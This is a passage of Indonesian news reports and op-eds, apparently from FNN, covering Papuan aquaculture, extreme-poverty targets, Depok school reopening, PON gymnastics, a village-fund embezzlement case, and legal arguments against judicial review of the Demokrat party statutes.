perusahaan ini juga akan memberikan kontribusi terhadap rencana pemerintah Indonesia menuju sebuah negara digital," kata Vikram. Penggabungan aset dan produk dari dua perusahaan yang saling melengkapi akan mendorong inovasi dan pengembangan jaringan yang memungkinkan perusahaan memberikan layanan digital terbaik dan memperluas tawaran produknya bagi pelanggan di berbagai pelosok Indonesia. (mth)

KKP Ajak Generasi Muda Papua Kembangkan UMKM Budidaya Perikanan

Jakarta, FNN - Kementerian Kelautan dan Perikanan (KKP) mengajak generasi muda di Papua untuk menjadi motor penggerak dalam menumbuhkan jiwa kewirausahaan termasuk dalam mengembangkan UMKM di bidang perikanan budidaya. Dirjen Perikanan Budidaya KKP Tb Haeru Rahayu, yang akrab disapa Tebe, dalam siaran pers di Jakarta, Senin, mengajak generasi muda atau generasi milenial khususnya para pemuda pemudi di Papua untuk mengembangkan potensi yang dimiliki Papua, mengingat Papua memiliki kekayaan laut dan budidaya ikan yang sangat luar biasa. "KKP melalui Direktorat Jenderal Perikanan Budidaya (DJPB) mendukung penuh pelaksanaan ground breaking Gedung Papua Youth Creative Hub. Di mana nantinya gedung ini akan menjadi motor atau pusat penggerak untuk para generasi muda mengembangkan jiwa entrepreneurship-nya, khususnya di subsektor perikanan budidaya," papar Tebe. Menurut dia, melalui budidaya ikan berbasis ekologi dan berkelanjutan bisa mengembangkan potensi budidaya ikan Papua yang nantinya bisa berkontribusi untuk peningkatan ekonomi setempat. Hal itu, ujar Tebe, dinilai sejalan dengan program terobosan KKP saat ini khususnya di subsektor perikanan budidaya di antaranya pengembangan perikanan budidaya untuk ekspor dan pembangunan kampung budidaya tawar, payau dan laut berbasis kearifan lokal. Tebe menambahkan, salah satunya adalah budidaya Cherax albertisii atau yang populer di Papua disebutnya udang selingkuh, yaitu lobster air tawar yang merupakan spesies asli dari Papua. Pada awalnya, udang selingkuh ini dibudidayakan sebagai ikan hias karena bentuknya yang unik dengan warna yang menarik, tetapi seiring waktu banyak permintaan di masyarakat akan komoditas ini, sehingga menjadi potensi besar untuk usaha budidaya. "Hal yang terpenting, sumber daya udang selingkuh ini di alam semakin berkurang, sehingga kegiatan budidaya merupakan solusinya," ungkapnya. Saat ini, teknologi budidaya udang selingkuh sedang dikembangkan di UPT DJPB yakni di Balai Perikanan Budidaya Air Tawar (BPBAT) Tatelu. Dengan adanya transfer teknologi ke masyarakat, diharapkan udang selingkuh ini ke depan dapat menjadi komoditas yang bernilai ekonomis tinggi, menjadi salah satu andalan perikanan budidaya di Papua. Selain udang selingkuh, BPBAT Tatelu juga telah lama mengembangkan lobster air tawar lainnya, yaitu jenis red claw, dan telah berkembang di masyarakat, serta telah banyak pembudidaya yang berhasil mengembangkannya. KKP telah mengembangkan budidaya ikan sistem bioflok di Provinsi Papua dan Provinsi Papua Barat melalui program bantuan sarana dan prasarana serta pendampingan transfer teknologi sejak tahun 2017. Hingga saat ini untuk Papua sudah tersebar sebanyak 39 paket yaitu di Kota Jayapura, Kabupaten Sarmi, Kabupaten Jayapura, Kabupaten Nabire dan Kabupaten Keerom. Sementara untuk Papua Barat sudah tersebar sebanyak 33 paket di antaranya di Kabupaten Sorong, Kabupaten Sorong Selatan, Kabupaten Manokwari, Kabupaten Manokwari Selatan, Kabupaten Fakfak dan Kabupaten Teluk Bintuni. Bantuan bioflok tersebut ada di bawah pendampingan Unit Pelaksana Teknis (UPT) DJPB seperti BBPBAT Sukabumi, BPBAT Tatelu dan BPBL Ambon," papar Tebe. (mth)

Pemerintah Optimistis Menyelesaikan Kemiskinan Ekstrem

Jakarta, FNN - Pemerintah Indonesia memasang target untuk menyelesaikan kemiskinan ekstrem dengan mencapai angka hingga nol persen pada tahun 2024 atau 6 tahun lebih cepat daripada agenda dunia dalam tujuan pembangunan berkelanjutan atau Sustainable Development Goals (SDGs). Negara anggota Perserikatan Bangsa-Bangsa (PBB) menyepakati 17 tujuan dalam SDGs, yang tujuan pertamanya ialah tanpa kemiskinan untuk keselamatan manusia dan planet bumi sebagai ambisi pembangunan bersama hingga 2030. Meski demikian, dengan adanya krisis pandemi COVID-19 yang merebak mulai 2020, target agenda tanpa kemiskinan tersebut terancam tidak tercapai. Sebelumnya, PBB mencatat angka kemiskinan ekstrem di dunia mengalami penurunan sebanyak 26 persen dalam kurun waktu seperempat abad, mulai dari 1990 sebesar 36 persen menjadi 10 persen pada tahun 2015. Kemiskinan esktrem ialah kondisi masyarakat dengan keseimbangan kemampuan belanja di bawah 1,9 dolar AS per hari. Namun, laju penurunan angka kemiskinan ekstrem dunia tersebut mengalami perlambatan, bahkan berisiko berbalik menjadi meningkat dengan adanya krisis pandemi COVID-19. United Nations University (UNU) World Institute for Development Economics Research merilis dalam jurnalnya bahwa pandemi COVID-19 dapat menambah setengah miliar jiwa penduduk dunia menjadi miskin ekstrem. Hal tersebut menjadi sejarah dunia untuk kali pertama sejak tahun 1990, angka kemiskinan meningkat secara global. Saat ini PBB mencatat lebih dari 700 juta orang di dunia masih hidup dalam kategori miskin ekstrem, dengan berupaya mememuhi kebutuhan hidup paling dasar di bidang kesehatan, pendidikan serta akses sanitasi dan air bersih. Dampak krisis pandemi COVID-19 tersebut, baik di sektor kesehatan, sosial, maupun ekonomi, akan paling dirasakan oleh negara-negara berkembang karena paling berisiko selama dan setelah pandemi. Program Pembangunan PBB atau United Nations Development Programme (UNDP) memprediksi kerugian pendapatan di negara-negara berkembang lebih dari 220 miliar dolar AS, ditambah dengan 55 persen populasi dunia tidak memiliki akses terhadap perlindungan sosial. Sementara itu, di Indonesia penambahan angka kemiskinan kronis dan kemiskinan ekstrem terjadi akibat pandemi COVID-19. Wakil Presiden RI Ma’ruf Amin sekaligus Ketua Tim Nasional Percepatan Penanggulangan Kemiskinan (TNP2K) mengakui hal tersebut. "Iya betul, itu ada penambahan kemiskinan, baik yang kronis maupun yang ekstrem," kata Wapres di Jakarta, Kamis (23/9). Strategi Selesaikan Kemiskinan Ekstrem Jumlah kemiskinan secara keseluruhan di Indonesia tercatat sebanyak 27,54 juta jiwa, dan sebanyak 10,86 juta jiwa di antaranya adalah masyarakat dengan kemiskinan ekstrem. Dalam upaya menyelesaikan angka kemiskinan ekstrem nasional hingga nol persen, Pemerintah mengatur strategi dengan memasang target penyelesaian 20 persen pada tahun 2021, 35 persen pada tahun 2022, 35 persen pada tahun 2023, hingga sisanya 10 persen pada tahun 2024. Hingga akhir 2021, Pemerintah mengutamakan penyelesaian 2.096.771 orang miskin ekstrem di 35 kabupaten yang berada di Jawa Barat, Jawa Tengah, Jawa Timur, Maluku, Nusa Tenggara Timur (NTT), Papua, dan Papua Barat. Ini memang paling berat karena waktunya tinggal sebentar lagi hingga akhir 2021. Daerah prioritas penyelesaian kemiskinan ekstrem di Provinsi Jawa Barat ialah Cianjur, Bandung, Kuningan, Indramayu dan Karawang; di Provinsi Jawa Tengah ada Banyumas, Banjarnegara, Kebumen, Pemalang dan Brebes; di Provinsi Jawa Timur ada Probolinggo, Bojonegoro, Lamongan, Bangkalan, dan Sumenep; serta di Provinsi Nusa Tenggara Timur ada Sumba Timur, Timor Tengah Selatan, Rote Ndao, Sumba Tengah, dan Manggarai Timur. Sementara itu, di Provinsi Maluku ada Maluku Tenggara Barat, Maluku Tenggara, Maluku Tengah, Seram Bagian Timur dan Maluku Barat Daya; di Provinsi Papua Barat ada Teluk Wondama, Teluk Bintuni, Tambrauw, Maybrat dan Manokwari Selatan; serta di Provinsi Papua ada Jayawijaya, Puncak Jaya, Lanny Jaya, Mamberamo Tengah, dan Deiyai. Sebagai langkah mempercepat target penyelesaian di 35 daerah tersebut, Wapres terjun langsung ke tujuh provinsi terkait guna melakukan rapat kerja bersama para gubernur dan bupati. Hingga akhir September, Wapres telah mendatangi Jawa Barat dan Jawa Timur untuk memimpin rapat bersama jajaran pemerintah provinsi dan pemerintah kabupaten prioritas terkait. Dalam rapat tersebut, Wapres menegaskan bahwa tantangan utama yang harus dikerjakan untuk menyelesaikan kemiskinan ekstrem ialah memastikan dua program Pemerintah tepat sasaran kepada masyarakat. Kedua program tersebut ialah bantuan sosial dan pemberdayaan masyarakat bagi masyarakat miskin ekstrem di daerah. Isu utama percepatan penanggulangan kemiskinan ekstrem adalah bagaimana memastikan program perlindungan sosial dan pemberdayaan dapat secara efektif mengurangi kemiskinan, termasuk kemiskinan ekstrem. Jadi, anggaran sebenarnya bukan isu utama dalam penanggulangan kemiskinan ekstrem ini. Gubernur dan bupati tidak perlu memikirkan tentang anggaran yang akan digelontorkan pemerintah pusat untuk penanganan kemiskinan ekstrem tersebut. Pada tahun anggaran (TA) 2021, Pemerintah telah menyiapkan Rp440,69 triliun untuk penanganan kemiskinan. Anggaran tersebut terbagi untuk program bantuan sosial dan subsidi sebesar Rp272,12 triliun dan untuk program pemberdayaan dan peningkatan produktivitas sebanyak Rp168,57 triliun. Oleh karena itu, Wapres menginstruksikan kepada gubernur dan bupati untuk melakukan pemutakhiran data terhadap masyarakat miskin ekstrem. Saat ini data rumah tangga miskin ekstrem tercatat dalam Data Terpadu Kesejahteraan Sosial (DTKS) milik Kementerian Sosial dan Survei Sosial Ekonomi Nasional (Susenas) per Maret 2020 miliki Badan Pusat Statistik (BPS). Berdasarkan DTKS Kemensos, jumlah rumah tangga miskin ekstrem di 35 kabupaten tersebut sebanyak 889.210. Data tersebut belum sepenuhnya akurat. Namun, dengan keterbatasan waktu untuk mencapai angka kemiskinan ekstrem nol persen, DTKS tersebut digunakan sebagai dasar untuk pemberian bantuan sosial dan pemberdayaan masyarakat miskin ekstrem. Soal data diakui Wapres memang sekarang belum akurat betul. Akan tetapi, tidak mungkin mulai dari nol. DTKS inilah menjadi data awal dalam rangka pengurangan angka kemiskinan hingga nol persen pada tahun 2024. (mth)

Sengkarut AD/ART: Yusril Vs Demokrat

Oleh: TM. Luthfi Yazid *) BERKENAAN dengan kehebohan pengajuan permohonan hak uji materi, Judicial Review (JR)/toetsingrecht atas Anggaran Dasar/Anggaran Rumah Tangga (AD/ART) Partai Demokrat (PD) yang diajukan empat orang mantan kader PD “kubu Moeldoko” melalui kuasa hukumnya advokat Yusril Ihza Mahendra (YIM), saya ingin memberikan analisis Meskipun saya pernah satu skoci menjadi partner dan pendiri Yusril Ihza Mahendra and Partners Law Firm, yang akhirnya pecah (Majalah Tempo, 8 Juni 2003, hukumonline.com, 3 Juni 2003), namun dalam banyak hal saya tidak sependapat dengan YIM, antara lain saat sengketa Pilpres RI di MK 2019, dimana YIM menjadi salah satu kuasa hukum Jokowi-Ma’ruf dan saya menjadi salah satu kuasa hukum Prabowo-Sandi termasuk juga saya punya pandangan yang berbeda dengan YIM soal JR terhadap AD/ART Partai Demokrat. Pandangan saya ini tidak terkait dengan konflik pribadi saya dengan YIM (yang pernah terjadi), namun semata-mata karena panggilan intelektualitas. Bahwa sistem kepartaian di Indonesia haruslah dibenahi, saya sangat sepakat. Faktanya, memang, beberapa partai politik di tanah air cenderung oligarkis, elitis dan nepotis. Hal ini yang menghambat perkembangan demokrasi di tanah air serta upaya mewujudkan cita negara hukum sebagaimana amanat konstitusi. Jika niat Yusril yang juga menjadi Ketua Umum Partai Bulan Bintang (PBB) adalah untuk membenahi sistem kepartaian-- sebagai salah satu pilar demokrasi-- maka patut diapresiasi. Bagaimanapun, langkah YIM ini telah mengundang polemik. Ada yang pro dan kontra. Ada yang memuji langkah YIM yang dinilai cerdas yang akan membawa perbaikan kedalam sistem kepartaian dan ketatanegaraan ke depan. Akan tetapi ada yang mem-bully YIM dengan mengaitkan anak YIM yang maju Pilkada di Belitung dengan dukungan PD yang menggunakan AD/ART yang diajukan JR sekarang. Ada juga yang mengatakan bahwa upaya JR ini hanyalah untuk mendongkrak rating dirinya. Tidak ketinggalan Menkopolhukam Moh. Mahfud MD (MMD) juga menanggapi permohonan YIM dengan mengatakan bahwa permohonan YIM itu tidak ada urgensinya, tidak ada gunanya, tidak akan merubah kepemimpinan di PD. Ketuanya akan tetap AHY, kata MMD. Soal JR yang dilakukan YIM, ada beberapa catatan yang perlu dipertanyakan. Pertama, apa saja yang menjadi objek JR di MA? Kedua, apakah AD/ART partai politik termasuk objek JR di MA? Di manakah posisi AD/ART dalam hierarki peraturan perundang-undangan? Ketiga, apakah AD/ART partai politik adalah peraturan di bawah Undang-Undang (UU) yang dapat dimohonkan JR ataukah ia hanya sebuah kesepakatan perdata antara para pihak? Pada titik ini kita jadi teringat pemikiran John Austin seorang English Jurist yang terkenal dengan karyanya The Province of Jurisprudence Determined (1832). Austin pada intinya mengatakan bahwa norma itu hanya dapat dibuat oleh sebuah otoritas resmi yaitu negara. Dengan kata lain, perintah baru dapat dikatakan sebagai hukum hanya apabila perintah tersebut berasal dari negara. Norma harus memuat sanksi dan harus bersifat publik. Jika tidak, maka hal tersebut tidak dapat diangggap sebagai peraturan yang mengikat kepada publik. Apakah yang dilakukan YIM, sebagaimana klaimnya adalah sebuah terobosan hukum? Menurut saya yang dilakukan YIM bukanlah terobosan hukum, melainkan sebuah logical fallacy (kesesatan dalam berpikir). Apakah ini juga patut diduga sebagai “intellectual manipulation”?! Wallahu’alam bishawab! Mengacu pada pendapat Meuwissen, gagasan yang ditawarkan kepada publik haruslah jelas landasan normatif, landasan teoritik dan landasan filosofisnya. Seperti diketahui, berdasarkan Pasal 7 ayat (1) UU No. 12 Tahun 2011 tentang Pembentukan Peraturan Perundang-Undangan, Jenis dan Hierarki Peraturan Perundang-Undangan adalah: 1. Undang-Undang Dasar Negara Kesatuan Republik Indonesia Tahun 1945 2. Ketetapan Majelis Permusyawaratan Rakyat; 3. Undang-Undang/Peraturan Pemerintah Pengganti Undang-Undang; 4. Peraturan Pemerintah 5. Peraturan Presiden; 6. Peraturan Daerah Provinsi; 7. Peraturan Daerah Kabupaten/Kota. Selain Peraturan Perundang-Undangan tersebut, menurut ketentuan Pasal 8 ayat (1) dan ayat (2) UU No. 12 Tahun 2011, ada Peraturan Perundang-Undangan lainnya yang diakui keberadaanya serta mempunyai kekuatan hukum mengikat dan menjadi objek JR di MA. Singkatnya, objek JR di MA hanya terbatas pada peraturan perundang-undangan dibawah undang-undang. Jika merujuk pada pendapat John Austin di atas serta mengacu pada hierarki Peraturan Perundang-Undangan yang ada di Indonesia, sudah sangat jelas menyebutkan objek yang dapat di JR. Maka, AD/ART partai politik tidak memiliki tempat untuk dijadikan objek JR. Setidaknya ada tiga aspek mengapa AD/ART bukanlah merupakan objek JR di MA yakni, eksistensi norma, relasi dan implikasinya. Aturan yang disepakati bersama dalam AD/ART itu tidak sama dengan norma hukum yang berlaku secara umum yang dikeluarkan oleh otoritas resmi (lihat kembali pendapat John Austin). Dalam konteks ini YIM gagal membedakan antara norma yang berlaku secara umum dengan kesepakatan yang memiliki keberlakuan secara khusus kepada para pembentuk dan anggotanya. AD/ART bukanlah merupakan aturan yang berlaku secara umum, tapi secara terbatas. Para pihak yang terlibat dalam pembentukan Peraturan Perundang-Undangan tidak sama dengan para pihak yang membentuk AD/ART. Dalam merumuskan pembentukan Peraturan Perundang-Undangan ada peran eksekutif, legislatif dan yudikatif, sedangkan dalam pembentukan AD/ART murni diserahkan kepada para pembentuknya, sehingga hubungan antara pembentuk AD/ART diikat berdasarkan kesepakatan yang dituangkan dalam AD/ART tersebut. Implikasi pemberlakuan AD/ART tidak sama dengan implikasi pemberlakuan Peraturan Perundang-Undangan atau kebijakan publik, karena implikasi AD/ART hanya mengikat para pembentuk dan anggotanya saja (sifatnya internal). Jika mau ada perubahan atau perbaikan terhadap AD/ART, maka seharusnya dilakukan secara internal oleh para pihak yang memiliki legal standing dalam partai politik itu sendiri. Terkait dengan pendapat MMD, yang mengatakan apabila MA mengabulkan permohonan YIM, maka yang akan dirubah hanyalah AD/ART PD yang akan berlaku bagi pengurus dan anggotanya yang akan datang. Pada bagian ini saya tidak sependapat dengan Menkopolhukam MMD, karena jika MA sampai mengabulkan permohonan JR terhadap AD/ART PD maka ini akan membuka gerbang anarkisme hukum (legal anarchism), sebab setiap orang dapat mengajukan permohonan JR terhadap AD/ART partai politik atau organisasinya sehingga kepastian hukum dinafikan. Adalah suatu keniscayaan (taken for granted) bagi MA untuk menolak permohonan JR AD/ART PD yang tidak mempunyai dasar hukum sebagai objek uji-materi/JR. Jika pendapat MMD mau diterapkan, maka harus ada perubahan terlebih dahulu terhadap Pasal 7 dan Pasal 8 UU No. 12 Tahun 2011 dengan memasukkan AD/ART dalam hierarki Peraturan Perundang-Undangan. YIM dalam suatu wawancara di televisi mengatakan bahwa AD/ART merupakan quasi-regulasi. YIM juga merujuk pada UU No. 2 Tahun 2011 tentang Perubahan atas UU No. 2 Tahun 2008 tentang Partai Politik. Klaim YIM soal ini kembali saya tidak sependapat --karena sekali lagi saya pertegas-- AD/ART ini sifatnya adalah kesepakatan internal partai politik. Sedangkan yang dapat di-JR adalah regulasi yang dibuat oleh otoritas resmi untuk kepentingan umum. Kalau kita berpegang pada nilai konsistensi (lat: consistere) dan koherensi (lat:cohairere) dalam mewujudkan kepastian hukum, sebenarnya rule of the game-nya sudah jelas ada dalam Pasal 7 dan Pasal 8 UU No. 12 Tahun 2011. Kalau YIM memang mau memberikan terobosan hukum, seharusnya terobosan yang memberikan solusi, bukan melahirkan permasalahan baru. Terlebih lagi, dalam waktu dekat ini, bangsa Indonesia akan menghadapi pekerjaan yang sangat besar yaitu Pemilu serentak pada tahun 2024. Akan ada sekitar 272 kepala daerah yang akan habis masa jabatannya sebelum tahun 2024 sehingga sebagian besar daerah akan dipimpin oleh pejabat sementara. Ini persoalan serius bangsa yang harus disikapi. Akhirnya, akan seperti apakah putusan MA atas permohonan JR AD/ART PD yang diajukan YIM? MA adalah lembaga peradilan tertinggi dan sebagai the guardian of legal certainty, yang setiap putusannya memuat irah-irah “Demi Keadilan Berdasarkan Ketuhanan Yang Maha Esa”. Artinya, ia bukan hanya mengemban amanat konstitusi untuk mewujudkan “kepastian hukum yang adil”, namun juga mengandung dimensi ilahiyah dimana pertanggungjawabannya juga kepada Tuhan Yang Maha Esa. Putusan MA dalam soal ini sangat menentukan arah dan jalannya demokrasi konstitusional di negeri ini.*** (*) Dr. TM. Luthfi Yazid, S.H., LL.M, alumnus School of Law, University of Warwick, United Kingdom, advokat dan Vice President Kongres Advokat Indonesia (KAI).

Pantau Gambut Ajak Jaga Habitat Satwa Langka pada Hari Binatang Sedunia

Jakarta, FNN - Koordinator Nasional Pantau Gambut Iola Abas menjelaskan bahwa kejadian satwa liar masuk ke perkampungan warga karena wilayah jejak mereka menyempit dan ketiadaan makanan di hutan oleh karena itu peningkatan kesadaran untuk menjaga habitat mereka menjadi salah satu cara untuk menyelamatkan spesies langka. "Kalau habitat mereka terjaga, rumah mereka aman-aman saja, mereka tidak akan masuk ke area pemukiman. Jika diibaratkan dengan manusia, mereka tergusur dari rumahnya. Kalau digusur, kita mau tinggal di mana," kata Lola dalam keterangan resmi Pantau Gambut tentang Hari Binatang Sedunia yang diterima di Jakarta pada Senin. Selain itu satwa tergusur yang masuk ke perkampungan itu terkadang dianggap sebagai hama oleh sebagian masyarakat, hingga kemudian dibunuh. Selain karena perburuan liar, habitat satwa yang rusak itu juga berpengaruh besar terhadap jumlah satwa liar yang dilindungi yang terus berkurang. Banyak hal yang membuat habitat satwa itu hilang seperti deforestasi, alih fungsi hutan dan lahan gambut, industri perhutanan, pertambangan atau pembangunan infrastruktur yang memerlukan pengeringan lahan gambut sehingga terjadi kerusakan yang berakibat kebakaran hutan dan lahan gambut. Peningkatan kesadartahuan kepada masyarakat sekitar sangat penting untuk menjaga habitat flora dan fauna di lahan gambut, dengan rusaknya ekosistemnya akan mengganggu rantai makanan secara keseluruhan. "Kampanye untuk meningkatkan awareness ini perlu dilakukan secara konsisten. Biasanya isu kerusakan gambut baru muncul setelah ada kebakaran hutan. Tapi, begitu tetes hujan pertama jatuh, orang perlahan lupa pada isu tersebut, sampai tiba kebakaran berikutnya,” kata Iola. Memperingati Hari Binatang Sedunia yang dirayakan setiap 4 Oktober, terdapat beberapa langkah untuk menyelamatkan ratusan spesies yang membutuhkan habitat asri termasuk di lahan gambut yaitu tidak membeli dan memelihara satwa langka. Menurut peneliti di Pusat Studi Ilmu Komunikasi Lingkungan Universitas Padjadjaran Herlina Agustin dalam pernyataan yang sama menyebut sulitnya melakukan rehabilitasi satwa yang sudah dipelihara manusia untuk bisa berfungsi di alam seperti mencari makan sendiri. Padahal satwa liar memiliki peran dan fungsi di alam yang tidak bisa tergantikan oleh manusia bahkan mesin sekalipun dengan salah satu contohnya adalah serangga. "Kepunahan serangga akan mempercepat kepunahan manusia, secepat apa pun manusia berusaha untuk menggantikan fungsi serangga. Sebagian spesies serangga kini sudah masuk dalam satwa langka yang harus dilestarikan," ujar Herlina. Selain itu penting juga melakukan edukasi terkait satwa dan pentingnya menjaga habitatnya yang bisa dilakukan salah satu caranya adalah melalui edukasi di sekolah. Langkah lain yang bisa dilakukan adalah dengan mendukung kesejahteraan masyarakat di sekitar kawasan dengan membeli produk buatan masyarakat lokal dan secara umum bisa memilih memakai produk ramah lingkungan dalam kegiatan sehari-hari. (mth)

Pembelajaran Tatap Muka Terbatas Mulai Dilaksanakan di Depok

Depok, FNN - Pembelajaran tatap muka secara terbatas mulai dilaksanakan di sekolah-sekolah di Kota Depok, Provinsi Jawa Barat, pada Senin. Menurut Kepala Dinas Pendidikan Kota Depok Wijayanto, pemerintah kota memutuskan untuk melaksanakan pembelajaran tatap muka secara terbatas dari 4 Oktober sampai 23 Desember 2021 setelah melakukan simulasi dari 28 sampai 29 September 2021. Ia menjelaskan bahwa sekolah-sekolah yang melaksanakan pembelajaran tatap muka secara terbatas (PTMT) tetap harus memberikan opsi layanan belajar dari rumah (BDR) bagi siswa yang belum diizinkan orang tua mengikuti kegiatan belajar di sekolah. "Jadi, sekolah tetap menyediakan pembelajaran BDR bagi siswa yang tidak diizinkan mengikuti PTMT oleh orang tuanya," katanya. Di Kota Depok, kegiatan belajar mengajar di sekolah hanya dilakukan dua hari dalam sepekan dengan durasi paling lama dua jam setiap hari. Jumlah peserta didik dalam setiap sesi kegiatan belajar mengajar juga dibatasi. "Untuk pengaturan sesi kita bebaskan kepada setiap perangkat sekolah. Misalnya dibagi berdasarkan ganjil genap nomor absen atau dari absensi dibagi menjadi dua," kata Wijayanto. Guna meminimalkan risiko penularan virus corona, kegiatan belajar mengajar dilaksanakan tanpa jeda waktu istirahat. "Tidak ada waktu istirahat, peserta didik langsung pulang setelah pembelajaran selesai," kata Wijayanto. Ia menjelaskan pula bahwa untuk sementara kegiatan olahraga, seni, dan ekstrakurikuler tidak dilakukan di lingkungan sekolah, tetapi dilaksanakan via daring untuk menekan risiko penularan COVID-19. Wijayanto menekankan bahwa setiap satuan pendidikan yang melaksanakan pembelajaran tatap muka terbatas harus memastikan protokol kesehatan dipatuhi dan dijalankan di lingkungan sekolah. "Kita berharap pelaksanaan PTMT dapat berjalan dengan baik dan setiap satuan pendidikan dapat menjalankan protokol kesehatan secara ketat sehingga tidak ditemukan klaster sekolah nantinya," kata dia. Pembelajaran tatap muka secara terbatas dilaksanakan di semua jenjang pendidikan di Kota Depok. Selain pada dua hari pelaksanaan pembelajaran tatap muka terbatas, kegiatan belajar mengajar dilakukan dari jarak jauh via daring di kota itu. (mth)

Senam Artistik Lanjutkan Babak Final untuk Lima Nomor di PON Papua

Jayapura, FNN - Kompetisi cabang olahraga senam artistik direncanakan melanjutkan babak final untuk lima nomor pertandingan dalam Pekan Olahraga Nasional (PON) XX Papua. Pertandingan yang digelar di Istora Papua Bangkit itu akan berlangsung mulai pukul 14.30 WIT dimulai dengan pertandingan senam artistik putra nomor meja lompat atau vaulting table, Senin. Adapun perwakilan provinsi yang maju pada final meja lompat putra adalah Sumatera Barat, DKI Jakarta, Jawa Barat, Jawa Timur, dan Riau. Selanjutnya pada pertandingan kedua akan diisi oleh senam artistik putri di nomor balok keseimbangan atau balance beam. Beberapa atlet yang sebelumnya meraih medali pada nomor palang bertingkat seperti, Muthia Nur Cahya dari Sulawesi Selatan, Tasza Miranda dari Jawa Timur dan Nadia Indah dari DKI Jakarta akan ikut bertanding pada balok keseimbangan. Selain Jawa Timur dan DKI Jakarta akan ada juga atlet dari Jambi, Jawa Tengah, dan Papua yang diterjunkan pada nomor balok keseimbangan. Pada pertandingan ketiga, dilanjutkan dengan senam artistik putra nomor palang sejajar. Pemenang emas pada nomor lantai (floor) yang membela Papua yaitu Abiyu Rafi dan pemenang emas pada nomor kuda pelana (pommel horse) Fajar Abdul Rahman akan terjun kembali di nomor palang sejajar ini. Tidak hanya Papua dan Sumatera Selatan, tapi juga akan ada perwakilan dari Riau, Jawa Timur, Sumatera Barat, dan Lampung yang bertanding di nomor palang sejajar. Pertandingan kembali dilanjutkan dengan senam artistik putri dengan nomor senam lantai. Atlet andalan DKI Jakarta yang sudah menyabet tiga emas, Rifda Irfanaluthfi, akan turun di nomor senam lantai. Daerah lainnya yaitu Jawa Timur, Riau, Jawa Tengah, dan Papua akan turut bertanding di nomor ini. Terakhir, pertandingan akan ditutup oleh senam artistik putra nomor palang tunggal. Pada palang tunggal perwakilan Papua yang telah meraih banyak medali yaitu Audi Ashari akan tampil kembali bersama dengan Abiyu Rafi. Pada nomor ini akan ada juga perwakilan atlet dari Riau, Jawa Timur, Jawa Tengah, dan Sumatera Barat. (mth)

Inspektorat Serahkan Berkas Kasus DD ke Kejari

Ternate, FNN - Inspektorat Kabupaten Pulau Morotai, Maluku Utara, berencana melimpahkan berkas kasus dugaan pengelapan dana desa (DD) sejumlah desa di kabupaten itu ke Kejaksaan Negeri Morotai. "Saat ini kami limpahkan kasus pengelapan DD yang melibatkan oknum ASN inisial AS dan Bendahara Desa Tanjung Saleh itu. Berkasnya secepat akan kami serahkan ke Kejaksaan Negeri Pulau Morotai," kata Kepala Inspektorat Morotai Marwanto P. Soekidi dihubungi dari Ternate, Senin. Setelah berkoordinasi dengan Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Morotai, kata Marwanto, AS berniat mengembalikan lebih dari Rp260 juta melalui gajinya. Akan tetapi, lanjut dia, kalau dilihat besar gaji AS dengan waktu yang diberikan 24 bulan sesuai sidang tuntutan perbendaharaan dan tuntutan ganti rugi (TPTGR) itu tidak cukup. Dengan demikian, AS harus menjual asetnya untuk mengembalikan uang negara itu. Kendati demikian, dalam waktu 24 bulan yang sudah diberikan, kemudian dalam 3 bulan berjalan AS tidak bayar, kata dia, dianggap itu batal sehingga kasusnya langsung diserahkan lagi ke kejaksaan. Ditekankan bahwa laporan itu bukan ditunggu sampai 24 bulan, tetapi setiap bulan harus ada laporan sehingga ada peringatan pada bulan pertama dan kedua kepada AS. "Kalau masuk bulan ketiga minggu kedua AS belum bayar, barulah diserahkan kepada penegak hukum," katanya menjelaskan. Walaupun AS punya niat mau mengembalikan uang tersebut, pihaknya akan menyerahkan berkas perkara ini ke kejaksaan. Sebelumnya diwartakan total kerugian negara akibat ulah kedua oknum itu sebesar Rp570 juta dengan perincian, yakni bendahara sebesar Rp470 juta dan AS sebesar Rp90 juta. Akan tetapi, untuk AS sendiri temuannya tidak hanya di Desa Tanjung Saleh, tetapi kasus yang sama juga terjadi di Desa Cio Gerong Kecamatan Morselbar semasa masih menjabat sebagai pj. kades terdapat kerugian negara Rp170 juta sehingga AS harus mengembalikan uang negara sebesar Rp260 juta. (mth)

Judicial Review Tidak untuk AD/ART Partai

By M Rizal Fadillah TIDAK perlu pakar hanya untuk sekedar menanggapi pembelaan Dr. Fahri Bachmid terhadap Prof Yusril Ihza Mahendra yang melakukan pengajuan Judicial Review AD/ART Partai Demokrat ke Mahkamah Agung. Hasil uji dan pembuktian yang ditunggu atas Yusril adalah apakah benar terobosan atau hanya mengada-ada dalam hukum. Dr. Fahri Bachmid wajar membela Yusril karena di samping Fahri akan diajukan sebagai Saksi Ahli, partner dari Kantor Hukum Yusril sendiri, dan juga pengurus DPP Partai Bulan Bintang. Namun terlepas dari hal itu, argumen hukum yang disampaikan dalam menanggapi artikel penulis masihlah dapat diperdebatkan. Ada empat hal kekeliruan argumen Dr. Fahri Bachmid, SH MH, yaitu : Pertama, naif jika menganggap yang dipermasalahkan adalah soal Kuasa Hukum dari empat anggota Partai Demokrat yang dipecat. Semua juga tahu bahwa hal itu adalah hak Prinsipal yang sekaligus hak dari Kuasa Hukum. Meskipun, sebenarnya karena status keempatnya sudah bukan lagi anggota Partai Demokrat maka menjadi tidak memenuhi syarat Legal Standing untuk mempersoalkan AD/ART Partai. Kewenangan mengadili soal pemecatan ada pada Mahkamah Partai. Yang menjadi persoalan disini adalah kelirunya Yusril Ihza sebagai Kuasa Hukum untuk menggugat Judicial Review AD ART Partai Demokrat ke Mahkamah Agung. Kedua, AD/ART Partai bukanlah bentuk dari peraturan perundang-undangan yang bisa diiuji ke Mahkamah Agung. Semestinya yang diuji adalah Keputusan Kemenhukham yang mengesahkan AD/ART Partai tersebut dan itupun dalam tenggang waktu yang ditentukan melalui Pengadilan Tata Usaha Negara. AD/ART Partai adalah aturan yang diproduk dalam sebuah Munas, Kongres, Muktamar atau sejenisnya, karenanya AD/ART hanya bisa digugat dalam ruang Munas, Kongres, Muktamar dan sejenisnya tersebut. Ketiga, apa yang dilakukan Yusril Ihza Mahendra bukanlah murni hukum meski bernama Uji Materil ke lembaga Yudisial, melainkan sebuah keterlibatan dalam sengketa politik antara kubu Moeldoko dengan kubu AHY. Keempat orang yang menguasakan kepada Yusril adalah anggota Partai Demokrat kubu Moeldoko yang kemudian dipecat. Moeldoko sendiri gagal mendapat pengesahan dari Kemenhukham. Keempat, bahwa anggapan terjadinya kekosongan hukum dengan narasi bahwa "peraturan perundang-undangan dalam hal penormaan luput menjangkau serta mengatur soal pelembagaan pranata pengujian norma AD/ART 